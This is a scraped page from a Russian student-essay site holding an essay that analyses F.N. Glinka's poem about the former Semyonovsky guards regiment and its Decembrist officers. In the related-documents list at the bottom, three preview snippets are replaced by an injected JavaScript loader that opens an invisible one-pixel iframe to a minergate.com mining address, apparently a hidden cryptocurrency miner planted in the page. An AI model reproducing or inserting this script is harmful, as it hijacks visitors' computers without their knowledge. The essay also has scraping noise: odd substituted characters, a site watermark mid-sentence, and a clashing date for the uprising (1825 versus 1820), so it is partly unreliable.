-



   Анализ стихотворения Ф.Н. Глинки «Стихи о бывшем семеновском полку»




doc.png  Тип документа: Сочинения


type.png  Предмет: Глинка Ф.Н.


type.png  ВУЗ: Не привязан


size.png  Размер: 0 b

    «Стихи о бывшем семеновском полку» были написаны Ф.Н. Глинкой в связи с амʜᴎϲтией 1856 года, когда «были прощены» и вернулись в столицу многие офицеры, участвовавшие в восстании Семеновского полка в 1825 году.
    Семеновский полк, основанный Петром I в 1683 году, был одним из самых привилегированных гвардейских полков. Здесь служили многие будущие декабристы: И. Д. Якушкин, С. М. Муравьев-Апостол и другие

. В 1820 году в полку произошло восстание. Оно было одним из проявлений накаленной общественной атмосферы в канун выступления декабрисᴛᴏʙ. Это восстание было подавлено, а его инициаторы жестоко наказаны.
    Опорным, ключевым словом в данном стихотворении, на мой взгляд, является слово «бывшим». Все произведение представляет собой воспоминания лирического героя, его размышления и оценка прошедшего. Мысль автора переносится ко времени окончания войны с Наполеоном. Его он характеризует как «прекрасную пору»:
    Россия в лаврах под венками,
    Неся с победными полками
    В душе покой, в устах «ура!»…
    Примечательна метафора «неся в душе покой». Победив Наполеона, русские солдаты освободили от ига завоевателя не только Россию, но и многие страны Европы. Получается, что у нашей страны была очень важная миссия в мире – освободительная. И она смогла её исполнить, ᴨᴏᴛому что обладала всеми необходимыми для этого качествами: мощью, умом, храбростью и доблестью своих сыновей.
    Тяжелое испытание закончилась. Информация с сайта Бигреферат.ру / bigreferat.ru Страна, а вместе с ней и весь народ вздохнули спокойно и предались счастью мирной жизни. Именно тогда, по мысли героя, для Петербурга, столицы России, «минута чудная мелькнула». Что это значит? Вернувшись из демократичной и либеральной Европы, русские офицеры начали привносить и в свою служебную жизнь идеалы свободы и гуманизма. Даже солдаты приобрели в заграничных походах «европейский лоск». Военные стали отходить от бессмысленной муштры и бесконечных смотров, и, что самое главное, «о палке и вестей не стало». То есть настало то прекрасное, хоть и короткое время, когда и русская армия «глотнула» свободы, русский офицер и солдат почувствовал к себе уважение со стороны императора и военного руководства. А если уж либерализм дошел до армии, это значит, что и все русское общество вздохнуло свободнее в то время.
    После этого начинается основная часть стихотворения, которая посвящена описанию Семеновского гвардейского полка. Автор сразу же выделяет его из основной массы как лучший, как «цвет» российской армии. Об этом говорит эпитет «прекрасный»: «Но перед вами отличался Семеновский прекрасный полк». Офицеры этого полка представляли собой гордость страны, прежде всего, по своим человеческим качествам: «уму, толку, человеческим манерам». Эпитет «человеческие» указывает и на воспитанность, галантность офицеров и, в то же время, на их образованность, просвещенность, гуманизм, либеральность. Поистине, они являлись примером для всего общества. Молодых офицеров не манил пустой блеск светской жизни:
    У них чело яснелось думой,
    Из-за которой ум сиял...
    Все свои усилия и все свое время офицеры посвящали думе о судьбах России, об улучшении жизни народа, о процветании Родины. Публичным глашатаем их стараний, их мыслей был, по мнению Глинки, молодой Пушкин. Да не только он, «и много было».
    Но тут поэтическая строка прерывается на середине горестным многоточием. «Все прошло!» - сокрушается герой. И далее:
    Прошло и уж невозвратимо!
    Всё бурей мутною снесло,
    Промчалось, прокатило мимо...
    Автор не называет конкретно, что произошло и в чем причина столь разительных перемен в русском обществе. Он лишь с помощью метафоры создает ощущение огромной беды и невосполнимых ᴨᴏᴛерь, которые обрушились на Россию: «утекло Волною пасмурной, печальной… В реках воды, а в людях слез…» Но тут же, как будто допустив минутную слабость, автор останавливает себя. Это удел ᴨᴏᴛомков – что-то оценивать, описывать, осознавать значимость.
    Что же остается самому герою и его единомышленникам «в уборе париков седых»? Только воспоминания. Но из этих воспоминаний (финальная часть стихотворения) мы узнаем, что офицеры Семеновского полка сохранили свои идеалы, их не смогли сломить или запугать. Глинка упоминает Новинки - имение бывшего офицера Семеновского полка Ивана Николаевича Толстого. Там находили приют декабристы, которым было воспрещено жительство в Москве. Именно Новинки на какое-то время стали одним из немногих очагов свободной мысли в России времен правления Николая I. Далее следует перечисления реальных декабрисᴛᴏʙ, которые в изгнании жили у Толстого: М.И. Муравьев-Апостол, отец и сын Якушкины, Глинки.
    Заканчивается стихотворение оптимистичными строками:
    Когда прошла тоски година
    И луч надежды обещал
    Достойным им - иную долю.
    По мнению автора, декабристы – лучшие представители русской интеллигенции, пожертвовавшие своей карьерой и жизнью ради России. Они достойны уважения и восхваления как герои страны.
    Стихотворение богато средствами художественной выразительности. Это эпитеты («прекрасный полк», «победные полки», «летучий бал», «кружебный шум», «волною пасмурной, печальной», «пустынная неволя», «страдальческие года» и другие). Кроме того, стихотворение насыщено метафорами: «Россия пришла домой и отдохнула», «минута мелькнула», «блеск зал», «все бурей мутною снесло», «волною в реках воды, а в людях слез», «пережито гроз», «расцветал Якушкин» и т.д.
    В синтаксическом строе произведения есть риторические вопросы и восклицания, которые придают эмоциональность стихотворению, показывают причастность автора к тому, что он описывает.
    На основании выше сказанного приходим к выводу, что в этом стихотворении Семеновский полк становится важной вехой в судьбе России, он олицетворяет собой все новое, свежее, прогрессивное, что рано или поздно завоюет Россию. Так, по крайней мере, считал Ф.Н. Глинка.



Похожие документы


Анализ художественного сюжета повести «Фаталист»
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Анализ стихотворения Бунина «Одиночество» (сборник стихов «Листопад»)
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Анализ содержания повести Лермонтова «Княжна Мери»
(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body")[0]; s.appendChild(w, s); })(); ...

Анализ текста - Драма «Гроза»
В драматургическом произведении в отличие от эпического (роман, повесть, рассказ) средством Психологической характеристики Героев являются прежде всего их Действия И Бытовой диалог. Характеры действующих лиц раскрываются постепенно, по мере созревания и разрешения Драматургического конфликта. Остановимся на ключевых моментах в развитии конфликта «Грозы» и понаблюдаем, как постепенно нам открываются характеры героев. Действие I. Что мы узнаем о городе и его «жестоких нравах» из 1-4 явлений! Почему семейство Кабановых появляется только в 5 явлении?...

Анализ первых рассказов Фадеева
С немалыми политическими амбициями и начинал Фадеев свою писательскую деятельность. А в литературу он пришел не случайно. В отличие от многих партийных работников, стремившихся установить свою власть в литературе и искусстве при полной собственной бесталанности, он был человеком художественно одаренным. И заявило о себе его дарование в первой же повести «Разлив» (1923) неожиданным для самого автора своеволием. Недавний военкомбриг Александр Булыга (партизанский псевдоним Фадеева) намеревался дать в этой повести картину борьбы за Советскую власть в одном из уссурийских сел. И старательно выписывал фигуру главного героя, большевика Неретина. И тщательно продумывал все его дела и поступки. А начинающего прозаика Сашу Фадеева то и дело уводили в сторону от этого замысла какие-то очень искренние, но совершенно аполитичные страсти и эмоции....

Bigreferat.ru - каталог учебной информации (c) 2013-2014 | * | Правообладателям